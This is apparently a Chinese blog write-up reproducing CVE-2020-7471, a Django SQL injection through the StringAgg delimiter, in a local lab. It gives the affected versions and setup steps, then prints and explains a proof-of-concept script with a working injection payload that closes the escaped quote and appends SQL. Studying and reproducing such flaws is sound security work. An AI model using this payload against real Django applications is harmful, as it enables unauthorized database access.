CVE-2020-7471漏洞复现
1. CVE-2020-7471漏洞复现
1.1. 漏洞简介
2020年2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)并注入恶意SQL语句。
1.2. 漏洞影响范围
EG:
/受影响版本
Django 1.11.x < 1.11.28
Django 2.2.x < 2.2.10
Django 3.0.x < 3.0.3
Django 主开发分支
/不受影响产品版本
Django 1.11.28
Django 2.2.10
Django 3.0.3
1.3. 漏洞环境搭建(parrot 5.3.0-3parrot3-amd64)
1.3.1. 安装 django 漏洞版本(测试使用版本为3.0.2)
使用pip命令安装。
EG:
pip3 install django==3.0.2
1.3.2. 安装postgres 数据库
由于Debian默认包括PostgreSQL。要在Debian上安装PostgreSQL,可以直接使用apt-get(或其他apt-driving)命令,这里安装的是postgresql-11。
(其他安装方式见:Linux 上安装 PostgreSQL)
EG:
sudo apt-get install postgresql-11
1.3.3. 创建测试数据库test
初次安装postgres 数据库,系统会创建一个数据库超级用户 postgres,密码为空。使用命令(sudo -i -u postgres)进入postgres数据库,并创建测试数据库(test)。
EG:
sudo /etc/init.d/postgresql start
sudo -i -u postgres
psql
ALTER USER postgres WITH PASSWORD '123';
/更改用户postgres密码为123;
CREATE DATABASE test;
1.3.4. 下载CVE-2020-7471到本地
EG:
git clone https://github.com/Saferman/CVE-2020-7471.git
1.3.5. 修改配置文件
修改文件…/CVE-2020-7471/sqlvul_projects/settings.py 里面的第78列下的数据库配置,如果之前安装postgres数据库使用的默认配置(包括密码),就无需修改任何任何配置,可以跳过这一步(我这里更改了初始密码故需要更改);
EG:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'test', # 数据库名称
'USER': 'postgres',
'PASSWORD': '123', # 数据库用户密码
'HOST': '127.0.0.1', # 数据库地址
'PORT': '5432',
}
}
1.3.6. 利用CVE中的代码初始化测试数据库test中的表
EG:
python3 manage.py migrate
python3 manage.py makemigrations vul_app
python3 manage.py migrate vul_app
使用命令就可以查看到插入到test库中的表以及表中数据
EG:
sudo -i -u postgres
psql
\c test
\d
select * from vul_app_info;
1.3.7. 运行 POC 脚本(CVE-2020-7471.py)查看结果
EG:
python3 CVE-2020-7471.py
1.3.8. 对POC 脚本(CVE-2020-7471.py)粗略分析
EG:
# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")
# Django 版本大于等于1.7的时候,需要加上下面两句
if django.VERSION >= (1, 7):#自动判断版本
django.setup()
from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count
"""
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
"""
def initdb():
data = [('li','male'),('zhao','male'),('zhang','female')]
for name,gender in data:
Info.objects.get_or_create(name=name,gender=gender)
def query():
# FUZZ delimiter
error_c = []
other_error_c = []
for c in "aaa@qq.com#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
try:
for e in results:
pass
except IndexError:
error_c.append(c)
except:
other_error_c.append(c)
print(error_c)
print(other_error_c)
def query_with_evil():
'''
注入点证明
分别设置delimiter为 单引号 二个单引号 二个双引号
尝试注释后面的内容 ')--
:return:
'''
print("[+]正常的输出:")
payload = '-'
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
print("[+]注入后的的输出:")
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
if __name__ == '__main__':
print(django.VERSION) # 测试版本 3.0.2
initdb()
query()
query_with_evil()
1.3.8.1. initdb()函数
给管理器添加初始测试数据[(‘li’,‘male’),(‘zhao’,‘male’),(‘zhang’,‘female’)];
1.3.8.2. query()函数
进行模糊测试,筛选出不能绕过转义符(\)的delimiter(分隔符)。
1.3.8.3. query_with_evil()函数
进行注入点证明测试,payload前后两个不同的赋值,是为了得到两个不同的结果,前一个使用正确的分隔符-,后一个是使用同样的分隔符-,但是后面有一个转义符(\),这样做,是因为分隔符-绕过了转义符\(转义单引号’),使得右括号闭合了,导致后面的SQL语句的执行(输出只出现一条,是因为使用了LIMIT,这是为了证明该SQL语句确实被执行了)
2. 总结
此次漏洞复现的过程中,可能需要注意的是在不同操作系统上的postgres数据库的安装,容易出现意外的问题,再然后就是关于测试环境以及CVE文件中的配置。从POC脚本文件中也能看出,编写者证明漏洞注入点的思维的缜密性,最后对于,运行POC脚本的结果,也能直观的感受到漏洞的存在点,以及潜在的危害。这一次的漏洞复现经历,又是一次宝贵的学习经验。
[如有错误,请指出,拜托了<( _ _ )> !!!]
[参考文档]
https://github.com/Saferman/CVE-2020-7471
绿盟科技安全情报:Django SQL注入漏洞(CVE-2020-7471)威胁通告